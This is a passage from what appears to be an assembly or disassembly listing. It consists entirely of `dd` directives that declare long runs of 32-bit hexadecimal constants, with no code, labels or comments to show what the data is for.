29F7D09Ah, 8BB2C53Fh, 85530866h dd 3A336D51h, 8DF8A57Ch, 1575C10Dh, 3EB68077h, 2A5010B8h dd 0DE265E07h, 0D4CDEBE0h, 552CD7AFh, 523B78C2h, 3F0E3E61h dd 0D2EF7AB5h, 0D6C6A235h, 800E66D6h, 820CE287h, 0AE971E85h dd 133E91A1h, 0EB4BD6FEh, 0A19B4509h, 96514ECEh, 0D4F2ACB8h dd 7AF75236h, 26AB91Eh, 0BDE4C697h, 5F4787ABh, 379A8771h dd 168E38A2h, 702146BDh, 3D4F12F8h, 6B6E4D8h, 9A90EAE8h dd 64B23928h, 8F968B99h, 19102FD6h, 1A53A578h, 0EA4D81F7h dd 78F8919Ah, 13FD9AB6h, 0C9218F01h, 5F4D5417h, 2D15FB80h dd 0E1473F58h, 3CFC0A95h, 7F55E611h, 0CA7124D9h, 0B8BF8529h dd 4029137Ch, 26EBFE41h, 0F7B318A4h, 6BA19CFFh, 5E652D79h dd 0D5CF7A43h, 6E9134B7h, 4535636Dh, 779D3FD7h, 0E0545163h dd 0D57714C3h, 1B04EA3Ah, 0CAEF712Bh, 77B6AEF4h, 6C23A172h dd 2EB66D40h, 814747D5h, 94D6B928h, 5E7D3713h, 186C1730h dd 324B9AB1h, 15A45060h, 3366F638h, 0A7970EA3h, 0AB04A3FAh dd 5FC9278Ah, 0D3D9BACCh, 3A3DBC75h, 89B4FB16h, 3658BD7h dd 244E5B61h, 84A8C8D7h, 0EF71F3FBh, 0EA310165h, 11EED2DCh dd 0C8FD1572h, 0F86ABAE9h, 397BC093h, 797380A8h, 8500047Eh dd 220EE007h, 3B385EB3h, 0FFDC4EC8h, 0C8575BD0h, 1D63B676h dd 0AD029B98h, 0D34E4E8Dh, 4495B0Ah, 0E604B837h, 74D8DE92h dd 6188CED1h, 14E47B4h, 1D21D790h, 45A27ED4h, 8719E6C1h dd 0B78CE64Dh, 0FDE57F7Bh, 57E24508h, 0A6190753h, 6C3D0204h dd 70B4E372h, 0FB100D3Ch, 3F13EFAEh, 1EA992F7h, 1339E6F0h dd 0A467BB65h, 0EFA0CD6Ah, 0E0969D9h, 5E623D86h, 0D87CD5EDh dd 13A1F515h, 0A1572276h, 0A8F90C81h, 0B5AEC71Ch, 41181A86h dd 55E112FBh, 42E3613Fh, 7F9B0B7Dh, 77599175h, 0A9C35365h dd 1D882F60h, 0B30DCBCFh, 41647546h, 2E776B53h, 8DC8A97Bh dd 1555A747h, 303DA043h, 5838156Ah, 16B63747h, 57223DA1h dd 0A11A00D3h, 76B24C3Eh, 8B8F56Ch, 479DC148h, 0FA2F9686h dd 44896928h, 0B46D434Bh, 6CE4DE9Ah, 0BD9AE94Ah, 66E8C152h dd 610FBAFEh, 1455001Ah, 5F4BA229h, 0FD47C4A8h, 0C79C7EAFh dd 0FD13B2Dh, 41C7F1C6h, 89B64C76h, 0C4360D14h, 4EA56F0h dd 0F2B92F0h, 70B674FDh, 1DE33850h, 0D87638FAh, 34A189DDh dd 0D6839822h, 1A775B6Ch, 0D49CC8FDh, 8743D3F2h, 3CE07231h dd 7B6184D5h, 0BFB5BD0Fh, 466DD2C3h, 15E57762h, 142BE768h dd 600007BEh, 3D1ECFCh, 0AE698807h, 49A577C4h, 0A4EE52DFh dd 49FAA6Bh, 70E7024Ah, 45094C66h, 64697AD5h, 70A50AC0h dd 0C173312Dh, 8826152h, 2C1C493h, 61E4BD3Fh, 5461E577h dd 5C5E56D7h, 7BE9F499h, 0D12F1239h, 773C04E9h, 0D94F182Fh dd 27FCB807h, 514782F1h, 78911ACEh, 0A1132E85h, 0E8D82A12h dd 7845A405h, 88C03D46h, 7AA144CCh, 5441D538h, 924DC50Ch dd 0E207613Dh, 3A171EEDh, 68180020h, 0D67EEEFCh, 28B66115h dd 0F0EC321Eh, 61144144h, 14DCCCDEh, 76F0517Eh, 0F470BAD8h dd 0BBD36D59h, 71FE0AC8h, 0EFC8D0A3h, 368E4683h, 6F2B0EFh dd 83EC7B80h, 0CA2B6DABh, 9DBC462Ch, 0FD62C3F5h, 63D22EC9h dd 97A22CD4h, 0B0BCDC4Dh, 3834CB61h, 0B0A86F9Ah, 0F62B319h dd 2510290Fh, 2481A949h, 0BE5ECD79h, 0AB9E074Bh, 730EBE91h dd 0D5B8C8A8h, 0B215E73Fh, 0E098F335h, 0F3BF9DADh, 1CF2FFC2h dd 7393E79Ch, 6E33ECC0h, 0A87E9AA7h, 9A94674Dh, 1096840h dd 40F03E00h, 0E8703AD2h, 16D04533h, 0BC20AE51h, 8DF9F82Eh dd 6FCD061Bh, 13093AECh, 0ECC80EFCh, 0A4D941DCh, 6149FEF3h dd 0E617F885h, 98DBBD8Bh, 0E5424FF5h, 0DF066D6Bh, 6182015Eh dd 1C9FEC89h, 3E60125Ah, 0E060767Ah, 97B5B906h, 4014B5C2h dd 5B0F61B2h, 4BDF39DDh, 0AD34E093h, 0AD24A77Bh, 0E23003Dh dd 8F88E68Ah, 60F805ADh, 0BBC44760h, 347F1F28h, 7E162CBEh dd 1E171B5Ch, 0E9C886E6h, 64722909h, 0B7E44753h, 41A3A6EEh dd 0D82E7C07h, 0A757C4F8h, 48B267BBh, 6D635D2h, 4057EA9Dh dd 215E1484h, 9FEBD179h, 0D5471B79h, 172F2EE5h, 0B5FD1Dh dd 248760EAh, 0E47422CFh, 9B9BEB49h, 79007FDFh, 0B573DD7Eh dd 14BC58D4h, 0FA422C07h, 794DCD32h, 0A6776B1Eh, 0E5B7BD70h dd 4BF3BF0Eh, 612D76E2h, 248CFEF9h, 0CD1F132Bh, 5439FB5Ch dd 29EEF0A3h, 29F92CA7h, 666A5F45h, 0E736E19Bh, 771F648Dh dd 6435AD37h, 0E87A957Ah, 69ADF52Bh, 0C4A046FAh, 8BD87839h dd 13FECA8Ah, 40880CC6h, 0DD65EE31h, 422579E8h, 0D5FFFB65h dd 0C5A6DEEAh, 2667128Ch, 0BCE5B8A0h, 0B28B456Ch, 441090F2h dd 0BE7C1D3Bh, 358054D8h, 14476454h, 7F171210h, 0F454BAC0h dd 3C6E78F2h, 0C1F7B84Fh, 5795B1A0h, 0BA557686h, 0DF5E4B05h dd 99283DC1h, 5BD61AB5h, 9CAC4D7h, 30124A7h, 0EFA7E45h dd 0E7C90FF8h, 7571F056h, 5A69C0B8h, 0D9C37A81h, 0AFE512h dd 0E45FC44Bh, 0CFC03459h, 0D3CECB56h, 0BF5906AEh, 5F1E9587h dd 18B39E06h, 0B5E81C9Ah, 9E97C53Dh, 1E8A6BA5h, 910DEAB5h dd 787F68h, 0E9F47CE7h, 0E991F803h, 0E5840C12h, 911F1866h dd 785D6E7Dh, 0C0CEE86Dh, 6CE004F1h, 0BBDEBD5Dh, 23113AB3h dd 17437ED8h, 56E04852h, 0B72FF6B9h, 7A16E8D8h, 0D2D30D28h dd 6CC1CF25h, 5A6A4EA9h, 0E6C9FE57h, 0CE98647Bh, 7E763ECFh dd 0D4198A71h, 9BB1F4EFh, 7B67C5B6h, 0D6A5E386h, 32212CDDh dd 0BCC38B07h, 0A7954E86h, 1F480E67h, 1512DFDBh, 985A0126h dd 8B00F4Ah, 3569D69Fh, 238C4A0Bh, 11B3B4B8h, 4137A786h dd 0E9283656h, 0EB81AEBAh, 4A5A29FDh, 0E394FAC8h, 4D18BE4Bh dd 4F83C228h, 0B1EDC4A8h, 0DEAE52E5h, 1752EC85h, 298157C0h dd 7B360194h, 32AA467Fh, 796C664Ah, 0B715A177h, 1A3E59FBh dd 0F44270C2h, 0F053C092h, 5D287BAEh, 884C0C9Fh, 0B498E2E5h dd 0B4807771h, 6A08762Eh, 0BF2863ABh, 0A65DC6C2h, 0DD3399D9h dd 63E22623h, 9ED1EEFEh, 0AC4D71C6h, 41856A8Ah, 0FBA1CF63h dd 0F43F686Ch, 7FA21B28h, 3F0B703h, 589AEC1h, 630EFC88h dd 0B981DAFEh, 0BD677986h, 4D465AEBh, 5C10B100h, 0F0A8FA5Dh dd 8086640Dh, 2727C3D5h, 6B04C277h, 0B561809Ah, 26F90CA5h dd 606A17C8h, 91091C4Bh, 83AF162Bh, 0E1773AB4h, 899E5F57h dd 0F080BC94h, 0ADCD67D3h, 0F4BDB2CDh, 0C1C4E808h, 0BFF79F23h dd 0D41BC780h, 0B1481EF8h, 0E0CCA67Dh, 518B772Dh, 0B215C494h dd 6EC210ADh, 26CD8CA8h, 0AE562E1Dh, 0C5D67220h, 9BCF297Ch dd 0E311016Eh, 406EA6F3h, 7F504C0Fh, 0BCDB44EDh, 4D5648EFh dd 2487C7C6h, 936E602h, 0FA370AEDh, 894808F4h, 1E0CEFD1h dd 0E1DE0117h, 0F579FB81h, 170DFA28h, 255651EDh, 4356DCh dd 0AAFFC0C4h, 0D11A7B51h, 7548E201h, 9B6FD924h, 0CB445D33h dd 6E987755h, 37E8674Dh dd 0DC398DF6h, 32B26B02h, 89E8B736h, 76A5473Eh, 9C729Bh dd 17E8693Fh, 0E2628F6Eh, 0D1342641h, 85A4DF3Fh, 0DF38BE4Bh dd 0EB9D31BCh, 6FEF3FF2h, 0DB506E0Bh, 0B0DB04E1h, 4DA76D92h dd 0B3B1D09Ch, 0C2F0555Dh, 0E80BAF52h, 0E2D8F6BFh, 4599F77Eh dd 0C53944Eh, 8FD5FCBDh, 167B7B5Dh, 2D2D9DA7h, 0BA9A81DCh dd 0B8D23AB2h, 998852Eh, 0D062801Ch, 0D439C1F0h, 9C524F3Ch dd 0FC9ED8AFh, 7A413E14h, 2B6ABFF7h, 5CF57D8h, 0FF65B732h dd 87612952h, 0ACA4388Bh, 20FF6901h, 8B9C3F31h, 95B1C698h dd 0C03126D8h, 98304306h, 0FC2A06C6h, 84ED0E8Eh, 50D94184h dd 3FAF7D03h, 0B634FD9Bh, 2E0B052Fh, 0A6F6B1BDh, 3157536Ch dd 2F297FC0h, 0E391CE3Dh, 95E6F1E8h, 0E2B3F4A5h, 0E9EA1F8Dh dd 3602DC91h, 0AE1AD6DCh, 9D0FCE5Bh, 8B667B49h, 0A52F7B62h dd 0DB77C2E0h, 535D3524h, 9D7D154h, 0C868E34Bh, 56627569h dd 2BB26901h, 29E8B72Eh, 9EA59921h, 0B74C38BBh, 710074E2h dd 679DF495h, 19E156E7h, 7FA4D185h, 23B99BD2h, 1D0F0EBDh dd 78ED9482h, 8A3E5AF6h, 0BD22F139h, 8E47C9C7h, 5B8A4E39h dd 0D6808F22h, 48D2FE6Ah, 10A40CCAh, 337A08FCh, 4A96E063h dd 4CAE675Ah, 602DEF76h, 0A40A9D15h, 3232D527h, 1C3DCAB8h dd 0CE95D4A2h, 0E7EDFB31h, 60189EFh, 0A4624F3Dh, 0E403AB26h dd 0D6D898ADh, 0D41EA16Ch, 27341D18h, 99D7CDDDh, 291293A1h dd 6C439758h, 0E4509EE5h, 946171DDh, 66BEF867h, 0BFBCE85Dh dd 0E1BD8E77h, 0EB856EBAh, 6CEC7358h, 442BBD59h, 0BC3D7FF9h dd 4D4D48CFh, 249FFF86h, 32DA6782h, 0E496EB12h, 2C9DEBE3h dd 74A9F173h, 6536CA46h, 0B58FCB2h, 61B3A79Dh, 3031C197h dd 74F5F9DCh, 6C854560h, 5070C46Eh, 7B43768Bh, 5903C11Fh dd 0CB7A4B26h, 0F53D21A8h, 379798A9h, 0D325B1EAh, 0F5DFB21Ah dd 0DC1748ECh, 35FBC355h, 14112BADh, 0D2E51E15h, 2DCE7E74h dd 314DCE9Bh, 3C31DEE9h, 1BEF5560h, 0D7F3D8C4h, 0C999C98Ch dd 0FE596567h, 0D176AB8Ah, 0B24291A5h, 0AE03CDA0h, 4D10C04Ah dd 56349372h, 80EC60CBh, 0E278B760h, 0B6DFB4E8h, 2E5E63DFh dd 0AEE0CEF7h, 269789EEh, 43014409h, 2DC805C8h, 2BFD8725h dd 0E421768Ch, 944FB5E3h, 0AB615889h, 0B5F8D154h, 331339A3h dd 7DDD1482h, 360762h, 0DA17483Dh, 8FF2CADEh, 0ECB3A3B1h dd 0D9006D9Fh, 0B4EB9ED8h, 94385564h, 3FA4D1A6h, 0E03F1609h dd 147A98ECh, 0E8693E1Ch, 0B92BFB10h, 45A3B7B2h, 3BBDC080h dd 24854656h, 0C619F842h, 6C2F6F6Dh, 0B61826ECh, 0E2D95701h dd 0F0FD16E8h, 0F7155426h, 14855B14h, 259406EDh, 4D0105B1h dd 0FE862D1Dh, 0B79D94AEh, 39E3F345h, 0E7E30FB8h, 0B61FA1B0h dd 0AD392CDEh, 3328677Fh, 424E23AFh, 0B9B26FE9h, 8BE8B706h dd 4A90836Dh, 3884404h, 95855066h, 596288E7h, 0D342E1Bh dd 9A4D325h, 1BCF8A09h, 9DF9CDh, 7F04E97Bh, 0DDD424DAh dd 0C670F927h, 0FC84098h, 2484C997h, 84AB80F7h, 0FE89EC5h dd 0D12CCE40h, 9840D488h, 8A691A57h, 8AAB34Ah, 2F77C6CEh dd 912C8912h, 1600E912h, 0A9F90314h, 0DF3342AEh, 0FDF59974h dd 0BBCB5264h, 0F417E025h, 794C2CDEh, 525E37D0h, 299E6290h dd 0E0CA226Ah, 0F399A0A3h, 94949CFDh, 0B4C31FDh, 3E68C420h dd 0C38D7782h, 51B195BBh, 44316B83h, 9B542B00h, 7C2A56CDh dd 84ECC962h, 0BB2B3B9Bh, 62CEEAAAh, 37453F44h, 8D794B33h dd 0D2C9C715h, 0E63F5FEDh, 0D008207Fh, 0C742BEDBh, 9C5EF117h dd 516ABB6Ah, 0B46833C4h, 9B3B46EDh, 0B6442CAEh, 47EFBAB2h dd 0DB7BEEAEh, 16B77331h, 641BB309h, 49A535DAh, 977BC6AFh dd 0F7D56750h, 5CDE494Ch, 0E7CC61E8h, 31412184h, 56A5B7F9h dd 70A706D5h, 6BBBF893h, 9A756498h, 0E8B1A72Bh, 70DEBB82h dd 0DDCF5572h, 0EB85E9A8h, 0EEA8BC9Ah, 339169F1h, 45A371F6h dd 0E2BB40A8h, 0DB41790Bh, 0DE2413DDh, 0F087EB26h, 5479DEBFh dd 0E21827E0h, 5EF61547h, 5B7AC35Ah, 0F5B71AF5h, 0FA9BB102h dd 8F836923h, 80579341h, 0C5708484h, 0AF168FF1h, 4734D51Eh dd 8B09150Bh, 0C762D14Bh, 7044685Bh, 7FE1B694h, 0EE9D713Bh dd 99D779EDh, 0BC2CC7B3h, 8A1905A9h, 79EC1105h, 589D74D8h dd 1476F1CDh, 3FA4C9B7h, 6430A677h, 64FF7E4Bh, 86134699h dd 0B3910FF7h, 0C653B92Bh, 552CC0A0h, 33763687h, 0D2E6BB57h dd 7D72E00Bh, 5A07DD3Fh, 987ED2CDh, 8A09064Fh, 2376230Ah dd 9DBD9E9Dh, 0D9C5A391h, 352FF2CBh, 4E71C4Dh, 571BC258h dd 2281F11Eh, 24022509h, 0DE9239DAh, 301144A5h, 44573BD4h dd 0B6199Ah, 6C37E2E2h, 71442Dh, 0AD5AC060h, 0F44CC43Bh dd 248998C5h, 0E4628A78h, 0F1A54673h, 0AA53DCDBh, 6D56A28Dh dd 0EB85EFA9h, 0D8692498h, 322B5B06h, 0C6D8281Bh, 4D57D5B8h dd 24886236h, 210CC6E2h, 0E6F36904h, 0D1E02236h, 0E287594Fh dd 76060AE8h, 61FCD35Ah, 0E66CB4C2h, 0C8EA46FAh, 0F15AB023h dd 0FFBE4508h, 787005EBh, 0F6ED7130h, 4924BDA4h, 43523498h dd 0D55122F0h, 0BB884EF8h, 0A79DC002h, 58B8648Ah, 2C4758A0h dd 5CA5B543h, 0F64F4FB2h, 6E6618FDh, 2D93655Bh, 17B12ADFh dd 2A5BB19Eh, 14B533A2h, 4484B6D3h, 8886990Ah, 0EB570176h dd 10E554CDh, 72C23F4Fh, 33273BCEh, 0D2EAB825h, 706A8DCh dd 87E82CC1h, 1D0DE6E0h, 58DC1907h, 5033DB5Ah, 73617AF7h dd 383AC67Eh, 2105C173h, 0C2D1454Dh, 0E1738451h, 0C6D69Dh dd 99E0BBE1h, 15ADE7C8h, 8C312E9Ch, 0BBB98E96h, 42884967h dd 0E03738C7h, 0C539FB09h, 0D3FCC5D5h, 88B38621h, 148DC1BFh dd 46285DCh, 5BB1C94Ah, 801EB5CBh, 0B3D8EDE2h, 917B4106h dd 6CF2F4A1h, 0BBD74DA9h, 3900B0ABh, 3143CA37h, 0A0043F5Dh dd 0FA3E790Ah, 0CFDA68ADh, 0D1D0ABA9h, 0E94F9688h, 9E468DCEh dd 92ACD32h, 72E717C4h, 393A2666h, 0CC4BEC1Ah, 52CC3AB2h dd 2CFDF92Eh, 4D7CBE00h, 0BF9F5863h, 0F909C5C5h, 8A2EA6E8h dd 53186B12h, 2A1E61CCh, 85B4DBBDh, 484AC5AFh, 8A62BC2h dd 7364715Ch, 59B79E60h, 19F52C88h, 0F9A1A243h, 0C05B10C7h dd 333C7231h, 145336C7h, 875B7662h, 93AFECAFh, 8E2F3C92h dd 0F45ED4FFh, 241E9282h, 2C6D6942h, 8E6B6467h, 8627D13Eh dd 1D1F8960h, 29B6B817h, 0FA63B004h, 0A1BF9DC0h, 861EC845h dd 3DE9494Bh, 0ADADBA4Dh, 0E56D8452h, 9CCC08F6h, 5F95D60Eh dd 723C4F3Ah, 0BDA12217h, 7DA10147h, 7A98FE6Eh, 0F93255D6h dd 93074869h, 0A7257492h, 0ABCF397Bh, 4789F70Ch, 0AF6BFE7Eh dd 0B706B23Ah, 705739E0h, 0F144A2B2h, 0B7BDE621h, 94EC996Fh dd 97BF25ABh, 0C6307C7Eh, 0B2B51332h, 0DEC43853h, 0C2EC6695h dd 280B3B7Dh, 883FD0B5h, 69C741D1h, 869E240Dh, 1393E35Ah dd 0E06CDE91h, 0C5AF9466h, 3FF2C54Bh, 0A5AD3A5Dh, 776E8452h dd 0F0A0C18h, 874F60BEh, 0D5803396h, 3D512E46h, 7B396320h dd 0F0AF0D8Bh, 0F16E5DB7h, 0AA172285h, 94B0623Dh, 0C85CC068h dd 99006D00h, 5BBD5EDBh, 25B1DC9Ah, 0D04E9DF8h, 59214E4Fh dd 147BE999h, 5FDE4F19h, 9BE43B80h, 0C63CBC7Ah, 0B2AD9F3Ah dd 0FB79B463h, 0D322960Dh, 0CD04B264h, 27797E93h, 1ECE79E0h dd 0B6EB07h, 127AFB5Ah, 4582B62h, 704CA912h, 157672A6h dd 9EFDB37Ch, 0EADF9150h, 1BC6E375h, 3F4ECE77h, 15983304h dd 0BD612E42h, 8D177428h dd 3BDEB973h, 0E97F742h, 0E4945951h, 36A56A95h, 0E41F0064h dd 71F0BAFDh, 0BFE96089h, 0F55A0F2Bh, 0AD33BBE5h, 8E214A6Ah dd 0EB7B8B29h, 8413F978h, 4BF547D5h, 4AFEC86h, 0A2504F33h dd 247E4363h, 0D3CC06C8h, 0EEC57BDh, 0C7452940h, 0E12413B9h dd 6826B922h, 0B23EFC4Ah, 7A7C0E61h, 0B2367D37h, 0C38B6933h dd 87E80616h, 0A310729Eh, 0BAE9F3ACh, 40C56FEh, 6052B0D7h dd 2D61D206h, 634DA4D4h, 0DD2F4526h, 0E748B1E5h, 0DE17B5EDh dd 0D02C419Ch, 368F982Ah, 95817B69h, 8B9D688Dh, 0CC3A98C9h dd 0D42EEDC4h, 6745B036h, 7E7BDFAAh, 9EF532Ah, 53813882h dd 392D13FAh, 755CFB9Ch, 0DB1A8B56h, 8B3973Dh, 0A53F7019h dd 5C282A19h, 0E180760Dh, 911EC9E8h, 4AEB0B75h, 3FEBF5C4h dd 4E31C597h, 788129DCh, 0C6CE4545h, 8B71F150h, 5F0C4FF0h dd 0DDE06E01h, 0EC95B0E8h, 0D582C5EAh, 0A8A8BED3h, 0DCE2CCC0h dd 1B671D5Eh, 0CF1766ADh, 0F920C3FCh, 0F424D030h, 0EC109E59h dd 646ADD9Ch, 3C5999E5h, 0D95B64FBh, 0E84CC1EAh, 7C5F8528h dd 94EFF0E3h, 4C6D2144h, 0D17D8301h, 0B25390B3h, 0AEA06E5Ah dd 6FB11A11h, 5EAC9ADAh, 0D10F88A8h, 931E9588h, 96E13992h dd 562643A5h, 0FA06BE21h, 0B0AC1978h, 76FE949h, 5C37C527h dd 81857313h, 4FFD9925h, 0C4F886EBh, 815D35D6h, 8D34D19Ah dd 47779895h, 0D462E959h, 874167B7h, 6092C24Fh, 0A55A656Ah dd 0A4402852h, 96F73215h, 0CB889EA6h, 0E0A1C866h, 1B052A14h dd 0A76CB239h, 959E007Dh, 84EB1184h, 0EC8617CBh, 3947BC90h dd 0B3393F65h, 0DB81485Bh, 972F686Dh, 875F6413h, 0BA406307h dd 0F647CE51h, 96C94928h, 0ECEE4203h, 3ADDF9E8h, 0AFC71BFBh dd 6905C323h, 5DBD464Dh, 761184C5h, 0D7F7868Ah, 1A482B01h dd 0F60CA0C6h, 64E546E4h, 0A8807762h, 8D21B697h, 81EC67FCh dd 0D8E81E4Fh, 3EA564D9h, 0BBA50315h, 39009F40h, 6B9DBFC8h dd 0D9BDBEE5h, 5B43E8h, 22B803E9h, 300E77AEh, 0ECE37C96h dd 0ABD0BD8Eh, 0C6FA261Eh, 0E10BE708h, 251524DCh, 2C6F8B5Dh dd 0EB530B8h, 38DFF450h, 1FA7903Bh, 965918E8h, 3A43AB2Fh dd 137FCE44h, 513F0EA1h, 6905ADA0h, 1DB83A4Dh, 85448453h dd 6C5C706Eh, 0D18C4AFEh, 0F2B1ACh, 0C224A34Fh, 0E6B79898h dd 0D03172A6h, 0EC7361ABh, 6AEB0CF0h, 8A665E6h, 6FC94E34h dd 89FF609Ch, 1B88998Ah, 94A1CA63h, 3F911B16h, 64CDC6A1h dd 0ECFE1033h, 0D21106A1h, 0BBFD0F47h, 0C67D6432h, 0B2AC7D6Ah dd 0CEA565C3h, 0C33E66F1h, 0F5BFC2EEh, 0A507393Fh, 13C26DA8h dd 17D1CE8h, 0EB7252h, 438E875h, 0A1047AEDh, 0F2055CDCh dd 0A5508558h, 8D95B5BFh, 6C560C63h, 0CFB04B00h, 0A5756829h dd 41063854h, 0BAECE49Ch, 8F1E8978h, 11BEB9F7h, 0B2428A24h dd 3EA52263h, 0F6A4C304h, 92009F29h, 616304Fh, 71340315h dd 80A4930Ah, 1431D772h, 9D7B6EDDh, 5986BF85h, 53C02469h dd 0C6D1ABF5h, 37D8E83Eh, 24A4FEC3h, 0DCC3F0CDh, 1BBC7F2Dh dd 0C10F3B84h, 0C3871105h, 3C59AE8h, 0C873DB5Ah, 1E2BE9Dh dd 533F5512h, 0C71D1673h, 24BCC5B1h, 0A18A842Ah, 9873A38Ah dd 0B84BC0CBh, 35F8E99Fh, 3FD2AAB3h, 33856760h, 2E619548h dd 25748AFFh, 0BCFF5975h, 4D5A6528h, 8BC94E4Dh, 99FF60EBh dd 2B929831h, 95A43B9Dh, 0CD4B722Ah, 9BC12E30h, 1411F9DDh dd 8436642Ch, 0BB5549A3h, 69D142E6h, 4E9D2490h, 0E6DF22F3h dd 0C3239EADh, 8BF27E87h, 2D0830C0h, 0A68C1D8h, 79B59DDBh dd 94647BDFh, 84EFBE28h, 0ABC0397Ah, 98D2423h, 0FD50BABDh dd 0AA879150h, 0F34FE375h, 0EAA03E27h, 0CA89B043h, 6F197E43h dd 0EEE8674Ch, 0D15BC412h, 0AEC81D71h, 0D517CCFCh, 0FEF56509h dd 874CEE38h, 1E68C19Eh, 0B68D6441h, 4E5DC798h, 0C9B32028h dd 0BD312A99h, 91F6F604h, 7B112545h, 976A0CE5h, 6077FD26h dd 0B28D1A3Fh, 0DBD0BFF3h, 83DF6731h, 0E57D945h, 5FA69840h dd 0E00B980Dh, 0EC582DE8h, 0EFD4335Ah, 5DF5E6CDh, 1A294912h dd 88F796F6h, 0B1C5C989h, 0CBDD85C5h, 0AFD61F75h, 729B3AFh dd 25924F36h, 0C11D3854h, 0A70CE49Eh, 0DC6A89CFh, 0FEA092FBh dd 8E02B66Dh, 0FBB59A12h, 0EB4CA807h, 0A90068FBh, 0F7317126h dd 143CD69Dh, 3FA4AAD7h, 4837CEE5h, 9122B95Dh, 9E3CD86h dd 440C8432h, 2CD06DDDh, 0A254CD9Fh, 2B56B71Eh, 3B7666C2h dd 0E775285h, 0A6274799h, 1F721785h, 390A86E7h, 0ED2BDEA5h dd 6DBC8E9Dh, 563EAC14h, 0DA12C17Ah, 0EBF1454Ch, 1BBD0DF4h dd 0E91A30B6h, 166BF676h, 3C007306h, 0E9427E58h, 86A43AEAh dd 0D75621B3h, 0EAC8F290h, 3717B51Dh, 12B5E765h, 0CAB3CEB1h dd 0B1019E67h, 0E47E8BF1h, 843A98E2h, 3983FDDFh, 0E43122B1h dd 9D8246C5h, 0EED94284h, 44E65BB9h, 38299D2Bh, 562C5957h dd 1FD4CD7Ch, 5A221211h, 0E6238568h, 0D2EFE16Ah, 19273DD8h dd 1AEA6516h, 0C929BB52h, 32867E9Dh, 2B3EE6C6h, 7440E5E7h dd 622BC18Ah, 0B63A41D0h, 0CF3DF24Ch, 0C75846EAh, 0B59D81D1h dd 0D38875E3h, 0E0DBA43Bh, 0DEBA05CFh, 0EF93BE1Ch, 28FCB654h dd 95A1D955h, 0F31749D5h, 0EE045924h, 0AB9D9AD8h, 0D5CCC09Ch dd 0A82EA152h, 70156A31h, 0CCF173D5h, 0D12DC21Fh, 5750A132h dd 6E79EE2Eh, 0B3513927h, 0AF45CDA3h, 2C3A9981h, 0F6998D8h dd 31EA24D0h, 778E6177h, 7A34771Fh, 0ED13CEA5h, 0F4866E9Dh dd 4FD139CAh, 0EF47269h, 55ECCC15h, 0BD27442Ah, 0FFD00C77h dd 62A44A00h, 0DC40C501h, 0BF312DB5h, 512DA000h, 24EF6DADh dd 0C0C78716h, 97F490Bh, 0E1B59A26h, 0F7B06EB1h, 853D1A57h dd 0FB8D6A69h, 86BEDF69h, 0AB70D2h, 533E6AAAh, 14884D5Ah dd 9D06D951h, 0E22C9B5Ah, 0C93B5E4Fh, 559A137h, 0DBA13AA6h dd 6427C94Dh, 0E9B74A8h, 0B8379D50h, 46D87F6Fh, 6660F24Eh dd 793BE3AAh, 976E96F9h, 59126BFAh, 785230DCh, 0C4202D09h dd 0A9B4D44Fh, 9931F36Bh, 3093E2BAh, 8A1D5684h, 6949F2C8h dd 5F5867BFh, 2DE19AC9h, 43BB2618h, 0A117A578h, 0F0A562ABh dd 0CB31481h, 1CECDCEEh, 0AE196519h, 0EEB1C29Eh, 4CB392A2h dd 3DCEC966h, 69FB9FD6h, 1E179BAh, 0BBD306EFh, 39F07F7Ah dd 6103D92Fh, 0D40BCCACh, 83C8DB0Ah, 0F18F0E92h, 0DA2F22B5h dd 9CC87D50h, 0AAF005D3h, 3783FB2Fh, 6FFE5E45h, 5A3E2A21h dd 0FF15C07Ah, 91C0454Ch, 4E4D8477h, 1FCC2069h, 7FDDF9A6h dd 0BAB5A0C1h, 40ACD856h, 0B1403798h, 3A4E4999h, 3EC83192h dd 0C7FF1040h, 9F5A653Bh, 6C48B644h, 7E01414Ah, 6C92B36Ch dd 7141D119h, 680D2CC7h, 1BCEED04h, 917495DDh, 0ECFE1C83h dd 0ABD3F36Dh, 0C6FAA7E6h, 77B0E8D8h, 0B3533342h, 0C32C4948h dd 0F1B1B1C5h, 3A9996BFh, 0E0F865F9h, 9ED08C4Eh, 0EDF33DFh dd 80B999F5h, 76707102h, 165316DCh, 89A8C4D0h, 9F86C159h dd 0F0987745h, 0DDFC3EFFh, 12ADB016h, 0C0BEFC29h, 0B70C0F3Dh dd 0E2764941h, 98481D4Dh, 0A9DB0C9Ch, 81264B7Bh, 0BCA4CC40h dd 0FF7ADAh, 0DF62969Eh, 81E46786h, 5D1985Eh, 60F14D6Bh dd 0EBA8ACD7h, 0F9688D09h, 0BBE23B57h, 0B2EFC10Ah, 7260E56Ah dd 25ECF372h, 0D31A5288h, 58DF7AECh, 2DEAFA28h, 10D30577h dd 75C0C192h, 0F2A78EA5h, 7711EC97h, 44B9D14Bh, 0F5E2B923h dd 1454BA9Eh, 165E9346h, 0C420C4Ah, 9841CF14h, 5BCDE93Ch dd 57612E6Dh, 4B17B57Fh dd 69361F6Ah, 9BC81C9Dh, 0A4E30B58h, 8EB5EC76h, 0F74C1827h dd 8ED17C2Fh, 5E744965h, 0D9B1EF1Ch, 5A5F2Fh, 0A1BCCAD1h dd 0FC2EB1A7h, 7B1697D6h, 32CD2006h, 36EF78C5h, 0B260769Bh dd 22C0B063h, 6EF591DDh, 1DB7AADh, 5BC18CF7h, 5A5CCDh dd 18D51D15h, 182D3E49h, 0CF1A0E9Dh, 92C05B2Fh, 321F1D23h dd 51ABC5DBh, 0E8FBDC7h, 1981B5Ah, 0EED5C103h, 7AADB04Fh dd 3FB602D2h, 65598F7Dh, 2C47B6CDh, 3DE41316h, 2E133E7Bh dd 1CC170AEh, 27CF308Bh, 0DC003EBh, 7BD8D7BCh, 91B1EE9Dh dd 1BDFFB3Bh, 0F2BACFCEh, 1478FD29h, 7BE93B88h, 0BBD9F431h dd 0EE2C5502h, 0E688211Fh, 8341CCC2h, 0A7AD1A64h, 7E618A57h dd 3A27CAC4h, 77AD68h, 18359C4Eh, 0CCED6370h, 0BD060E9Dh dd 0C83D86C3h, 35361CDCh, 1242554Ch, 5FA67B7Ah, 5007D6C9h dd 0CF882EFCh, 456A47D9h, 0BE696B7Ch, 5DA8676Dh, 2CA1B636h dd 0C44315E4h, 0F58AA69Fh, 61FC6759h, 0AB4C2339h, 8D75798Eh dd 644804F2h, 1DD9B0E3h, 684AA406h, 1BCE1250h, 3EAA1901h dd 0DAB6294Fh, 0E6312DD2h, 0CFBB95BDh, 72E64EF8h, 0EF402077h dd 0C3746F21h, 0F1079CC5h, 0F7AC92BFh, 10477CB4h, 6EFD7D17h dd 0E53135Ah, 9A6E1235h, 